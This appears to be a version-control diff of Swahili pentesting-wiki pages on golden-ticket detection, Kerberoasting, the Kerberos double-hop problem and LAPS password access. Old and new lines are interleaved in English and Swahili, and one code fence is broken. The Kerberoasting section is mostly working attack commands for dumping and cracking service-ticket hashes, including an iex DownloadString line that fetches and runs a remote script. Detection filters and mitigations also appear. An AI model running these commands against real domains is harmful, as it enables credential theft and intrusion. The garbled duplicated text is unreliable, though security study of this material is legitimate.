Njia za kawaida zaidi za kugundua tiketi ya dhahabu ni kwa **kukagua trafiki ya Kerberos** kwenye waya. Kwa kawaida, Mimikatz **inasaini TGT kwa miaka 10**, ambayo itajitokeza kama isiyo ya kawaida katika maombi ya TGS yanayofanywa nayo.
Njia za kawaida zaidi za kugundua tiketi ya dhahabu ni kwa **kukagua trafiki ya Kerberos** kwenye waya. Kwa kawaida, Mimikatz **inasaini TGT kwa miaka 10**, ambayo itajitokeza kama ya kipekee katika maombi ya TGS yanayofanywa nayo.
`Lifetime : 3/11/2021 12:39:57 PM ; 3/9/2031 12:39:57 PM ; 3/9/2031 12:39:57 PM`
Tumia vigezo vya `/startoffset`, `/endin` na `/renewmax` kudhibiti mwanzo wa offset, muda na upya wa juu (yote kwa dakika).
Tumia vigezo vya `/startoffset`, `/endin` na `/renewmax` kudhibiti mwanzo wa offset, muda na upya wa juu (vyote kwa dakika).
```
Get-DomainPolicy | select -expand KerberosPolicy
```
Samahani, muda wa TGT hauandikwi katika 4769, hivyo huwezi kupata taarifa hii katika kumbukumbu za matukio ya Windows. Hata hivyo, kile unachoweza kuhusisha ni **kuona 4769 bila 4768 ya awali**. **Haiwezekani kuomba TGS bila TGT**, na ikiwa hakuna rekodi ya TGT iliyotolewa, tunaweza kudhani kwamba ilitengenezwa nje ya mtandao.
Ili **kuepuka ugunduzi huu** angalia tiketi za diamond:
Ili **kuepuka ugunduzi huu** angalia tiketi za almasi:
{{#ref}}
diamond-ticket.md
@ -52,7 +58,7 @@ diamond-ticket.md
Hila nyingine ndogo ambazo walinzi wanaweza kufanya ni **kuonya kuhusu 4769 kwa watumiaji nyeti** kama akaunti ya msimamizi wa eneo la msingi.
## Marejeo
## Marejeleo
- [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-golden-tickets] (https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-golden-tickets)

View File

@ -4,147 +4,169 @@
## Kerberoast
Kerberoasting inazingatia upatikanaji wa **TGS tickets**, hasa zile zinazohusiana na huduma zinazofanya kazi chini ya **akaunti za mtumiaji** katika **Active Directory (AD)**, ikiondoa **akaunti za kompyuta**. Uthibitisho wa tiketi hizi unatumia funguo zinazotokana na **nywila za mtumiaji**, ikiruhusu uwezekano wa **kuvunja akidi za ofline**. Matumizi ya akaunti ya mtumiaji kama huduma yanaonyeshwa na mali isiyo tupu ya **"ServicePrincipalName"**.
Kerberoasting inazingatia upatikanaji wa **TGS tickets**, hasa zile zinazohusiana na huduma zinazofanya kazi chini ya **akaunti za mtumiaji** katika **Active Directory (AD)**, ikiondoa **akaunti za kompyuta**. Uthibitishaji wa tiketi hizi unatumia funguo zinazotokana na **nywila za watumiaji**, ikiruhusu uwezekano wa **kuvunja akidi za ofline**. Matumizi ya akaunti ya mtumiaji kama huduma yanaonyeshwa na mali ya **"ServicePrincipalName"** isiyo tupu.
Ili kutekeleza **Kerberoasting**, akaunti ya kikoa inayoweza kuomba **TGS tickets** ni muhimu; hata hivyo, mchakato huu hauhitaji **privileges maalum**, na hivyo inapatikana kwa mtu yeyote mwenye **akidi halali za kikoa**.
### Key Points:
- **Kerberoasting** inalenga **TGS tickets** kwa **huduma za akaunti za mtumiaji** ndani ya **AD**.
- Tiketi zilizothibitishwa kwa funguo kutoka **nywila za mtumiaji** zinaweza **kuvunjwa ofline**.
- **Kerberoasting** inalenga **TGS tickets** za **huduma za akaunti za mtumiaji** ndani ya **AD**.
- Tiketi zilizothibitishwa kwa funguo kutoka **nywila za watumiaji** zinaweza **kuvunjwa ofline**.
- Huduma inatambulika kwa **ServicePrincipalName** ambayo si null.
- **Hakuna privileges maalum** zinazohitajika, ni lazima tu **akidi halali za kikoa**.
### **Attack**
> [!WARNING]
> **Zana za Kerberoasting** kwa kawaida huomba **`RC4 encryption`** wanapofanya shambulio na kuanzisha maombi ya TGS-REQ. Hii ni kwa sababu **RC4 ni** [**dhaifu**](https://www.stigviewer.com/stig/windows_10/2017-04-28/finding/V-63795) na rahisi kuvunjwa ofline kwa kutumia zana kama Hashcat kuliko algorithimu nyingine za uthibitisho kama AES-128 na AES-256.\
> RC4 (aina 23) hashes huanza na **`$krb5tgs$23$*`** wakati AES-256(aina 18) huanza na **`$krb5tgs$18$*`**.`
> **Zana za Kerberoasting** kwa kawaida huomba **`RC4 encryption`** wanapofanya shambulio na kuanzisha maombi ya TGS-REQ. Hii ni kwa sababu **RC4 ni** [**dhaifu**](https://www.stigviewer.com/stig/windows_10/2017-04-28/finding/V-63795) na rahisi kuvunjwa ofline kwa kutumia zana kama Hashcat kuliko algorithimu nyingine za uthibitishaji kama AES-128 na AES-256.\
> Hashi za RC4 (aina 23) huanza na **`$krb5tgs$23$*`** wakati AES-256 (aina 18) huanza na **`$krb5tgs$18$*`**.`
> Zaidi, kuwa makini kwa sababu ombi la `Rubeus.exe kerberoast` linaomba tiketi kiotomatiki juu ya AKAUNTI ZOTE dhaifu ambazo zitakufanya ugundulike. Kwanza, pata watumiaji wanaoweza kerberoast na privileges za kuvutia kisha uendeshe tu juu yao.
```bash
#### **Linux**
```bash
# Metasploit framework
msf> use auxiliary/gather/get_user_spns
# Impacket
GetUserSPNs.py -request -dc-ip <DC_IP> <DOMAIN.FULL>/<USERNAME> -outputfile hashes.kerberoast # Password will be prompted
GetUserSPNs.py -request -dc-ip <DC_IP> <DOMAIN.FULL>/<USERNAME> -outputfile hashes.kerberoast # Neno la siri litaombwa
GetUserSPNs.py -request -dc-ip <DC_IP> -hashes <LMHASH>:<NTHASH> <DOMAIN>/<USERNAME> -outputfile hashes.kerberoast
# kerberoast: https://github.com/skelsec/kerberoast
kerberoast ldap spn 'ldap+ntlm-password://<DOMAIN.FULL>\<USERNAME>:<PASSWORD>@<DC_IP>' -o kerberoastable # 1. Enumerate kerberoastable users
kerberoast spnroast 'kerberos+password://<DOMAIN.FULL>\<USERNAME>:<PASSWORD>@<DC_IP>' -t kerberoastable_spn_users.txt -o kerberoast.hashes # 2. Dump hashes
kerberoast ldap spn 'ldap+ntlm-password://<DOMAIN.FULL>\<USERNAME>:<PASSWORD>@<DC_IP>' -o kerberoastable # 1. Tambua watumiaji wa kerberoastable
kerberoast spnroast 'kerberos+password://<DOMAIN.FULL>\<USERNAME>:<PASSWORD>@<DC_IP>' -t kerberoastable_spn_users.txt -o kerberoast.hashes # 2. Toa hashes
```
Vifaa vingi vinavyojumuisha dump ya watumiaji wanaoweza kerberoast:
Multi-features tools including a dump of kerberoastable users:
```bash
# ADenum: https://github.com/SecuProject/ADenum
adenum -d <DOMAIN.FULL> -ip <DC_IP> -u <USERNAME> -p <PASSWORD> -c
```
#### Windows
- **Tathmini watumiaji wanaoweza kuingizwa Kerberoast**
```powershell
# Get Kerberoastable users
setspn.exe -Q */* #This is a built-in binary. Focus on user accounts
- **Enumerate Kerberoastable users**
```bash
# Pata watumiaji wanaoweza kupewa Kerberoast
setspn.exe -Q */* #Hii ni binary iliyojengwa ndani. Lenga kwenye akaunti za watumiaji
Get-NetUser -SPN | select serviceprincipalname #Powerview
.\Rubeus.exe kerberoast /stats
```
- **Technique 1: Omba TGS na uondoe kutoka kwa kumbukumbu**
```powershell
#Get TGS in memory from a single user
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ServicePrincipalName" #Example: MSSQLSvc/mgmt.domain.local
#Get TGSs for ALL kerberoastable accounts (PCs included, not really smart)
- **Technique 1: Ask for TGS and dump it from memory**
```bash
#Pata TGS katika kumbukumbu kutoka kwa mtumiaji mmoja
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ServicePrincipalName" #Mfano: MSSQLSvc/mgmt.domain.local
#Pata TGSs kwa AKAUNTI ZOTE zinazoweza kerberoast (PCs zimejumuishwa, si busara sana)
setspn.exe -T DOMAIN_NAME.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }
#List kerberos tickets in memory
#Orodhesha tiketi za kerberos katika kumbukumbu
klist
# Extract them from memory
Invoke-Mimikatz -Command '"kerberos::list /export"' #Export tickets to current folder
# Zitoa kutoka katika kumbukumbu
Invoke-Mimikatz -Command '"kerberos::list /export"' #Export tiketi kwenye folda ya sasa
# Transform kirbi ticket to john
# Geuza tiketi ya kirbi kuwa john
python2.7 kirbi2john.py sqldev.kirbi
# Transform john to hashcat
# Geuza john kuwa hashcat
sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > sqldev_tgs_hashcat
```
- **Technique 2: Zana za kiotomatiki**
- **Technique 2: Automatic tools**
```bash
# Powerview: Get Kerberoast hash of a user
Request-SPNTicket -SPN "<SPN>" -Format Hashcat #Using PowerView Ex: MSSQLSvc/mgmt.domain.local
# Powerview: Get all Kerberoast hashes
# Powerview: Pata hash ya Kerberoast ya mtumiaji
Request-SPNTicket -SPN "<SPN>" -Format Hashcat #Kutumia PowerView Ex: MSSQLSvc/mgmt.domain.local
# Powerview: Pata hashes zote za Kerberoast
Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\kerberoast.csv -NoTypeInformation
# Rubeus
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
.\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.kerberoast #Specific user
.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap #Get of admins
.\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.kerberoast #Mtumiaji maalum
.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap #Pata waadmin
# Invoke-Kerberoast
iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast
```
> [!WARNING]
> Wakati tiketi ya TGS inapotakiwa, tukio la Windows `4769 - Tiketi ya huduma ya Kerberos ilitakiwa` inaundwa.
### Kupasua
> [!WARNING]
> When a TGS is requested, Windows event `4769 - A Kerberos service ticket was requested` is generated.
### Cracking
```bash
john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi
```
### Persistence
Ikiwa una **idhini ya kutosha** juu ya mtumiaji unaweza **kufanya iwe kerberoastable**:
If you have **enough permissions** over a user you can **make it kerberoastable**:
```bash
Set-DomainObject -Identity <username> -Set @{serviceprincipalname='just/whateverUn1Que'} -verbose
```
Unaweza kupata **zana** muhimu za mashambulizi ya **kerberoast** hapa: [https://github.com/nidem/kerberoast](https://github.com/nidem/kerberoast)
Ikiwa unapata **kosa** hili kutoka Linux: **`Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)`** ni kwa sababu ya wakati wako wa ndani, unahitaji kusawazisha mwenyeji na DC. Kuna chaguzi chache:
You can find useful **tools** for **kerberoast** attacks here: [https://github.com/nidem/kerberoast](https://github.com/nidem/kerberoast)
- `ntpdate <IP of DC>` - Imepitwa na wakati tangu Ubuntu 16.04
If you find this **error** from Linux: **`Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)`** it because of your local time, you need to synchronise the host with the DC. There are a few options:
- `ntpdate <IP of DC>` - Deprecated as of Ubuntu 16.04
- `rdate -n <IP of DC>`
### Kupunguza
### Mitigation
Kerberoasting inaweza kufanywa kwa kiwango cha juu cha usiri ikiwa inaweza kutumika. Ili kugundua shughuli hii, umakini unapaswa kulipwa kwa **Kitambulisho cha Tukio la Usalama 4769**, ambacho kinaonyesha kwamba tiketi ya Kerberos imeombwa. Hata hivyo, kutokana na mzunguko mkubwa wa tukio hili, filters maalum zinapaswa kutumika ili kutenga shughuli za kushuku:
Kerberoasting can be conducted with a high degree of stealthiness if it is exploitable. In order to detect this activity, attention should be paid to **Security Event ID 4769**, which indicates that a Kerberos ticket has been requested. However, due to the high frequency of this event, specific filters must be applied to isolate suspicious activities:
- The service name should not be **krbtgt**, as this is a normal request.
- Service names ending with **$** should be excluded to avoid including machine accounts used for services.
- Requests from machines should be filtered out by excluding account names formatted as **machine@domain**.
- Only successful ticket requests should be considered, identified by a failure code of **'0x0'**.
- **Most importantly**, the ticket encryption type should be **0x17**, which is often used in Kerberoasting attacks.
- Jina la huduma halipaswi kuwa **krbtgt**, kwani hii ni ombi la kawaida.
- Majina ya huduma yanayomalizika na **$** yanapaswa kutengwa ili kuepuka kujumuisha akaunti za mashine zinazotumika kwa huduma.
- Maombi kutoka kwa mashine yanapaswa kuchujwa kwa kutengwa kwa majina ya akaunti yaliyoundwa kama **machine@domain**.
- Ni lazima tu maombi ya tiketi yaliyofanikiwa yazingatiwe, yanayotambulika kwa msimbo wa kushindwa wa **'0x0'**.
- **Muhimu zaidi**, aina ya usimbaji wa tiketi inapaswa kuwa **0x17**, ambayo mara nyingi hutumiwa katika mashambulizi ya Kerberoasting.
```bash
Get-WinEvent -FilterHashtable @{Logname='Security';ID=4769} -MaxEvents 1000 | ?{$_.Message.split("`n")[8] -ne 'krbtgt' -and $_.Message.split("`n")[8] -ne '*$' -and $_.Message.split("`n")[3] -notlike '*$@*' -and $_.Message.split("`n")[18] -like '*0x0*' -and $_.Message.split("`n")[17] -like "*0x17*"} | select ExpandProperty message
```
Ili kupunguza hatari ya Kerberoasting:
- Hakikisha kwamba **Nywila za Akaunti za Huduma ni ngumu kudhani**, ukipendekeza urefu wa zaidi ya **25 wahusika**.
- Tumia **Akaunti za Huduma Zinazosimamiwa**, ambazo zinatoa faida kama **mabadiliko ya nywila kiotomatiki** na **Usimamizi wa Jina la Kihuduma (SPN) uliopewa mamlaka**, kuimarisha usalama dhidi ya mashambulizi kama haya.
To mitigate the risk of Kerberoasting:
Kwa kutekeleza hatua hizi, mashirika yanaweza kupunguza kwa kiasi kikubwa hatari inayohusiana na Kerberoasting.
- Ensure that **Service Account Passwords are difficult to guess**, recommending a length of more than **25 characters**.
- Utilize **Managed Service Accounts**, which offer benefits like **automatic password changes** and **delegated Service Principal Name (SPN) Management**, enhancing security against such attacks.
## Kerberoast bila akaunti ya kikoa
By implementing these measures, organizations can significantly reduce the risk associated with Kerberoasting.
Katika **Septemba 2022**, njia mpya ya kutumia mfumo ilifichuliwa na mtafiti anayeitwa Charlie Clark, iliyoshirikiwa kupitia jukwaa lake [exploit.ph](https://exploit.ph/). Njia hii inaruhusu kupata **Tiketi za Huduma (ST)** kupitia ombi la **KRB_AS_REQ**, ambalo kwa ajabu halihitaji udhibiti wa akaunti yoyote ya Active Directory. Kimsingi, ikiwa kiongozi amewekwa kwa njia ambayo haitaji uthibitisho wa awali—hali inayofanana na inavyojulikana katika eneo la usalama wa mtandao kama **AS-REP Roasting attack**—sifa hii inaweza kutumika kubadilisha mchakato wa ombi. Kwa haswa, kwa kubadilisha sifa ya **sname** ndani ya mwili wa ombi, mfumo unadanganywa kutoa **ST** badala ya Tiketi ya Kutoa Tiketi iliyosimbwa (TGT).
## Kerberoast w/o domain account
Mbinu hii imeelezwa kwa kina katika makala hii: [Semperis blog post](https://www.semperis.com/blog/new-attack-paths-as-requested-sts/).
In **September 2022**, a new way to exploit a system was brought to light by a researcher named Charlie Clark, shared through his platform [exploit.ph](https://exploit.ph/). This method allows for the acquisition of **Service Tickets (ST)** via a **KRB_AS_REQ** request, which remarkably does not necessitate control over any Active Directory account. Essentially, if a principal is set up in such a way that it doesn't require pre-authentication—a scenario similar to what's known in the cybersecurity realm as an **AS-REP Roasting attack**—this characteristic can be leveraged to manipulate the request process. Specifically, by altering the **sname** attribute within the request's body, the system is deceived into issuing a **ST** rather than the standard encrypted Ticket Granting Ticket (TGT).
The technique is fully explained in this article: [Semperis blog post](https://www.semperis.com/blog/new-attack-paths-as-requested-sts/).
> [!WARNING]
> Lazima utoe orodha ya watumiaji kwa sababu hatuna akaunti halali ya kuuliza LDAP kwa kutumia mbinu hii.
> You must provide a list of users because we don't have a valid account to query the LDAP using this technique.
#### Linux
- [impacket/GetUserSPNs.py kutoka PR #1413](https://github.com/fortra/impacket/pull/1413):
- [impacket/GetUserSPNs.py from PR #1413](https://github.com/fortra/impacket/pull/1413):
```bash
GetUserSPNs.py -no-preauth "NO_PREAUTH_USER" -usersfile "LIST_USERS" -dc-host "dc.domain.local" "domain.local"/
```
#### Windows
- [GhostPack/Rubeus kutoka PR #139](https://github.com/GhostPack/Rubeus/pull/139):
- [GhostPack/Rubeus from PR #139](https://github.com/GhostPack/Rubeus/pull/139):
```bash
Rubeus.exe kerberoast /outfile:kerberoastables.txt /domain:"domain.local" /dc:"dc.domain.local" /nopreauth:"NO_PREAUTH_USER" /spn:"TARGET_SERVICE"
```
## Marejeo
## References
- [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting)

View File

@ -7,14 +7,14 @@
Tatizo la "Double Hop" la Kerberos linaonekana wakati mshambuliaji anajaribu kutumia **uthibitishaji wa Kerberos kati ya hops mbili**, kwa mfano kutumia **PowerShell**/**WinRM**.
Wakati **uthibitishaji** unapotokea kupitia **Kerberos**, **akili** **hazihifadhiwi** katika **kumbukumbu.** Hivyo, ikiwa unakimbia mimikatz hu **wezi kupata akili** za mtumiaji katika mashine hata kama anafanya michakato.
Wakati **uthibitishaji** unapotokea kupitia **Kerberos**, **akili** **hazihifadhiwi** katika **kumbukumbu.** Hivyo, ikiwa unakimbia mimikatz hu **wezi kupata akili** za mtumiaji kwenye mashine hata kama anafanya michakato.
Hii ni kwa sababu wakati wa kuungana na Kerberos hatua hizi zinafuatwa:
1. User1 anatoa akili na **meneja wa eneo** anarudisha **TGT** ya Kerberos kwa User1.
2. User1 anatumia **TGT** kuomba **tiketi ya huduma** ili **kuungana** na Server1.
3. User1 **anajiunga** na **Server1** na anatoa **tiketi ya huduma**.
4. **Server1** **hainayo** **akili** za User1 zilizohifadhiwa au **TGT** ya User1. Hivyo, wakati User1 kutoka Server1 anajaribu kuingia kwenye seva ya pili, hawezi **kujiuthibitisha**.
4. **Server1** **hainayo** **akili** za User1 zilizohifadhiwa au **TGT** ya User1. Hivyo, wakati User1 kutoka Server1 anajaribu kuingia kwenye seva ya pili, hawezi **kujiandikisha**.
### Unconstrained Delegation
@ -25,10 +25,10 @@ Ikiwa **unconstrained delegation** imewezeshwa kwenye PC, hii haitatokea kwani *
Njia nyingine ya kuepuka tatizo hili ambayo ni [**isiyo salama sana**](https://docs.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7) ni **Mtoa Huduma wa Usalama wa Akili**. Kutoka Microsoft:
> Uthibitishaji wa CredSSP unapeleka akili za mtumiaji kutoka kwenye kompyuta ya ndani hadi kwenye kompyuta ya mbali. Praktiki hii inaongeza hatari ya usalama wa operesheni ya mbali. Ikiwa kompyuta ya mbali imevunjwa, wakati akili zinapopelekwa kwake, akili zinaweza kutumika kudhibiti kikao cha mtandao.
> Uthibitishaji wa CredSSP unapeleka akili za mtumiaji kutoka kompyuta ya ndani hadi kompyuta ya mbali. Praktiki hii inaongeza hatari ya usalama wa operesheni ya mbali. Ikiwa kompyuta ya mbali imevunjwa, wakati akili zinapopelekwa kwake, akili zinaweza kutumika kudhibiti kikao cha mtandao.
Inapendekezwa sana kwamba **CredSSP** izuiwe kwenye mifumo ya uzalishaji, mitandao nyeti, na mazingira kama hayo kutokana na wasiwasi wa usalama. Ili kubaini ikiwa **CredSSP** imewezeshwa, amri ya `Get-WSManCredSSP` inaweza kukimbizwa. Amri hii inaruhusu **kuangalia hali ya CredSSP** na inaweza hata kutekelezwa kwa mbali, ikiwa **WinRM** imewezeshwa.
```powershell
Inapendekezwa sana kwamba **CredSSP** izimwe kwenye mifumo ya uzalishaji, mitandao nyeti, na mazingira kama hayo kutokana na wasiwasi wa usalama. Ili kubaini ikiwa **CredSSP** imewezeshwa, amri ya `Get-WSManCredSSP` inaweza kukimbizwa. Amri hii inaruhusu **kuangalia hali ya CredSSP** na inaweza hata kutekelezwa kwa mbali, ikiwa **WinRM** imewezeshwa.
```bash
Invoke-Command -ComputerName bizintel -Credential ta\redsuit -ScriptBlock {
Get-WSManCredSSP
}
@ -38,18 +38,18 @@ Get-WSManCredSSP
### Wito wa Amri
Ili kushughulikia tatizo la double hop, njia inayohusisha `Invoke-Command` iliyo ndani inawasilishwa. Hii haisuluhishi tatizo moja kwa moja lakini inatoa njia mbadala bila kuhitaji usanidi maalum. Mbinu hii inaruhusu kutekeleza amri (`hostname`) kwenye seva ya pili kupitia amri ya PowerShell inayotekelezwa kutoka kwenye mashine ya awali ya shambulio au kupitia PS-Session iliyowekwa awali na seva ya kwanza. Hapa kuna jinsi inavyofanywa:
```powershell
```bash
$cred = Get-Credential ta\redsuit
Invoke-Command -ComputerName bizintel -Credential $cred -ScriptBlock {
Invoke-Command -ComputerName secdev -Credential $cred -ScriptBlock {hostname}
}
```
Kwa upande mwingine, kuanzisha PS-Session na seva ya kwanza na kuendesha `Invoke-Command` kwa kutumia `$cred` kunapendekezwa kwa ajili ya kuunganisha kazi.
Kwa upande mwingine, kuanzisha PS-Session na seva ya kwanza na kuendesha `Invoke-Command` kwa kutumia `$cred` inapendekezwa kwa ajili ya kuunganisha kazi.
### Sajili Mipangilio ya PSSession
Suluhisho la kupita tatizo la double hop linahusisha kutumia `Register-PSSessionConfiguration` na `Enter-PSSession`. Njia hii inahitaji mbinu tofauti na `evil-winrm` na inaruhusu kikao ambacho hakikabiliwi na kikomo cha double hop.
```powershell
```bash
Register-PSSessionConfiguration -Name doublehopsess -RunAsCredential domain_name\username
Restart-Service WinRM
Enter-PSSession -ConfigurationName doublehopsess -ComputerName <pc_name> -Credential domain_name\username
@ -57,7 +57,7 @@ klist
```
### PortForwarding
Kwa wasimamizi wa ndani kwenye lengo la kati, upitishaji wa bandari unaruhusu maombi kutumwa kwa seva ya mwisho. Kwa kutumia `netsh`, sheria inaweza kuongezwa kwa upitishaji wa bandari, pamoja na sheria ya moto ya Windows kuruhusu bandari iliyopitishwa.
Kwa wasimamizi wa ndani kwenye lengo la kati, kuhamasisha bandari kunaruhusu maombi kutumwa kwa seva ya mwisho. Kwa kutumia `netsh`, sheria inaweza kuongezwa kwa kuhamasisha bandari, pamoja na sheria ya moto ya Windows kuruhusu bandari iliyohamishwa.
```bash
netsh interface portproxy add v4tov4 listenport=5446 listenaddress=10.35.8.17 connectport=5985 connectaddress=10.35.8.23
netsh advfirewall firewall add rule name=fwd dir=in action=allow protocol=TCP localport=5446
@ -70,15 +70,15 @@ winrs -r:http://bizintel:5446 -u:ta\redsuit -p:2600leet hostname
```
### OpenSSH
Kuweka OpenSSH kwenye seva ya kwanza kunaruhusu suluhisho la tatizo la double-hop, hasa katika hali za jump box. Njia hii inahitaji usakinishaji wa CLI na usanidi wa OpenSSH kwa Windows. Wakati imewekwa kwa Uthibitishaji wa Nywila, hii inaruhusu seva ya kati kupata TGT kwa niaba ya mtumiaji.
Kuweka OpenSSH kwenye seva ya kwanza kunaruhusu suluhisho la tatizo la double-hop, hasa katika hali za jump box. Njia hii inahitaji usakinishaji wa CLI na mipangilio ya OpenSSH kwa Windows. Wakati imewekwa kwa Uthibitishaji wa Nywila, hii inaruhusu seva ya kati kupata TGT kwa niaba ya mtumiaji.
#### Hatua za Usakinishaji wa OpenSSH
1. Pakua na uhamishe toleo la hivi karibuni la OpenSSH zip kwenye seva lengwa.
1. Pakua na uhamishe toleo jipya la OpenSSH zip kwenye seva lengwa.
2. Fungua na endesha skripti ya `Install-sshd.ps1`.
3. Ongeza sheria ya firewall kufungua bandari 22 na thibitisha huduma za SSH zinaendesha.
Ili kutatua makosa ya `Connection reset`, ruhusa zinaweza kuhitajika kuboreshwa ili kuruhusu kila mtu kusoma na kutekeleza kwenye directory ya OpenSSH.
Ili kutatua makosa ya `Connection reset`, ruhusa zinaweza kuhitaji kusasishwa ili kuruhusu kila mtu kuwa na ufikiaji wa kusoma na kutekeleza kwenye directory ya OpenSSH.
```bash
icacls.exe "C:\Users\redsuit\Documents\ssh\OpenSSH-Win64" /grant Everyone:RX /T
```

View File

@ -5,9 +5,9 @@
## Basic Information
Local Administrator Password Solution (LAPS) ni chombo kinachotumika kusimamia mfumo ambapo **nywila za msimamizi**, ambazo ni **za kipekee, zilizopangwa kwa nasibu, na hubadilishwa mara kwa mara**, zinatumika kwa kompyuta zilizounganishwa kwenye eneo. Nywila hizi zinahifadhiwa kwa usalama ndani ya Active Directory na zinapatikana tu kwa watumiaji ambao wamepewa ruhusa kupitia Orodha za Udhibiti wa Ufikiaji (ACLs). Usalama wa uhamasishaji wa nywila kutoka kwa mteja hadi seva unahakikishwa kwa kutumia **Kerberos toleo la 5** na **Kiwango cha Ulinzi wa Juu (AES)**.
Local Administrator Password Solution (LAPS) ni chombo kinachotumika kwa usimamizi wa mfumo ambapo **administrator passwords**, ambazo ni **za kipekee, zilizopangwa kwa nasibu, na hubadilishwa mara kwa mara**, zinatumika kwa kompyuta zilizounganishwa na domain. Nywila hizi zinahifadhiwa kwa usalama ndani ya Active Directory na zinapatikana tu kwa watumiaji ambao wamepewa ruhusa kupitia Access Control Lists (ACLs). Usalama wa uhamasishaji wa nywila kutoka kwa mteja hadi seva unahakikishwa kwa kutumia **Kerberos version 5** na **Advanced Encryption Standard (AES)**.
Katika vitu vya kompyuta vya eneo, utekelezaji wa LAPS unapelekea kuongeza sifa mbili mpya: **`ms-mcs-AdmPwd`** na **`ms-mcs-AdmPwdExpirationTime`**. Sifa hizi zinahifadhi **nywila ya msimamizi ya maandiko** na **wakati wake wa kuisha**, mtawalia.
Katika vitu vya kompyuta vya domain, utekelezaji wa LAPS unapelekea kuongeza sifa mbili mpya: **`ms-mcs-AdmPwd`** na **`ms-mcs-AdmPwdExpirationTime`**. Sifa hizi zinahifadhi **nywila ya msimamizi ya maandiko** na **wakati wake wa kuisha**, mtawalia.
### Check if activated
```bash
@ -24,10 +24,10 @@ Get-DomainObject -SearchBase "LDAP://DC=sub,DC=domain,DC=local" | ? { $_."ms-mcs
```
### LAPS Password Access
Unaweza **kupakua sera ya LAPS mbichi** kutoka `\\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol` na kisha kutumia **`Parse-PolFile`** kutoka kwenye [**GPRegistryPolicyParser**](https://github.com/PowerShell/GPRegistryPolicyParser) pakiti inaweza kutumika kubadilisha faili hii kuwa muundo unaoweza kusomeka na binadamu.
You could **download the raw LAPS policy** from `\\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol` and then use **`Parse-PolFile`** from the [**GPRegistryPolicyParser**](https://github.com/PowerShell/GPRegistryPolicyParser) package can be used to convert this file into human-readable format.
Zaidi ya hayo, **cmdlets za asili za LAPS PowerShell** zinaweza kutumika ikiwa zimewekwa kwenye mashine ambayo tuna ufikiaji nayo:
```powershell
Moreover, the **native LAPS PowerShell cmdlets** can be used if they're installed on a machine we have access to:
```bash
Get-Command *AdmPwd*
CommandType Name Version Source
@ -48,7 +48,7 @@ Find-AdmPwdExtendedRights -Identity Workstations | fl
Get-AdmPwdPassword -ComputerName wkstn-2 | fl
```
**PowerView** inaweza pia kutumika kugundua **nani anaweza kusoma nenosiri na kulisoma**:
```powershell
```bash
# Find the principals that have ReadPropery on ms-Mcs-AdmPwd
Get-AdmPwdPassword -ComputerName wkstn-2 | fl
@ -58,9 +58,9 @@ Get-DomainObject -Identity wkstn-2 -Properties ms-Mcs-AdmPwd
### LAPSToolkit
The [LAPSToolkit](https://github.com/leoloobeek/LAPSToolkit) inarahisisha kuorodhesha LAPS hii kwa kazi kadhaa.\
Moja ni kuchambua **`ExtendedRights`** kwa **kompyuta zote zenye LAPS imewezeshwa.** Hii itaonyesha **makundi** yaliyotengwa mahsusi **kusoma nywila za LAPS**, ambayo mara nyingi ni watumiaji katika makundi yaliyolindwa.\
**Akaunti** ambayo ime **jiunga na kompyuta** kwenye kikoa inapokea `All Extended Rights` juu ya mwenyeji huo, na haki hii inampa **akaunti** uwezo wa **kusoma nywila.** Kuorodhesha kunaweza kuonyesha akaunti ya mtumiaji ambayo inaweza kusoma nywila ya LAPS kwenye mwenyeji. Hii inaweza kutusaidia **kulenga watumiaji maalum wa AD** ambao wanaweza kusoma nywila za LAPS.
```powershell
Moja ni kuchambua **`ExtendedRights`** kwa **kompyuta zote zenye LAPS imewezeshwa.** Hii itaonyesha **makundi** yaliyotengwa mahsusi **kusoma nywila za LAPS**, ambazo mara nyingi ni watumiaji katika makundi yaliyolindwa.\
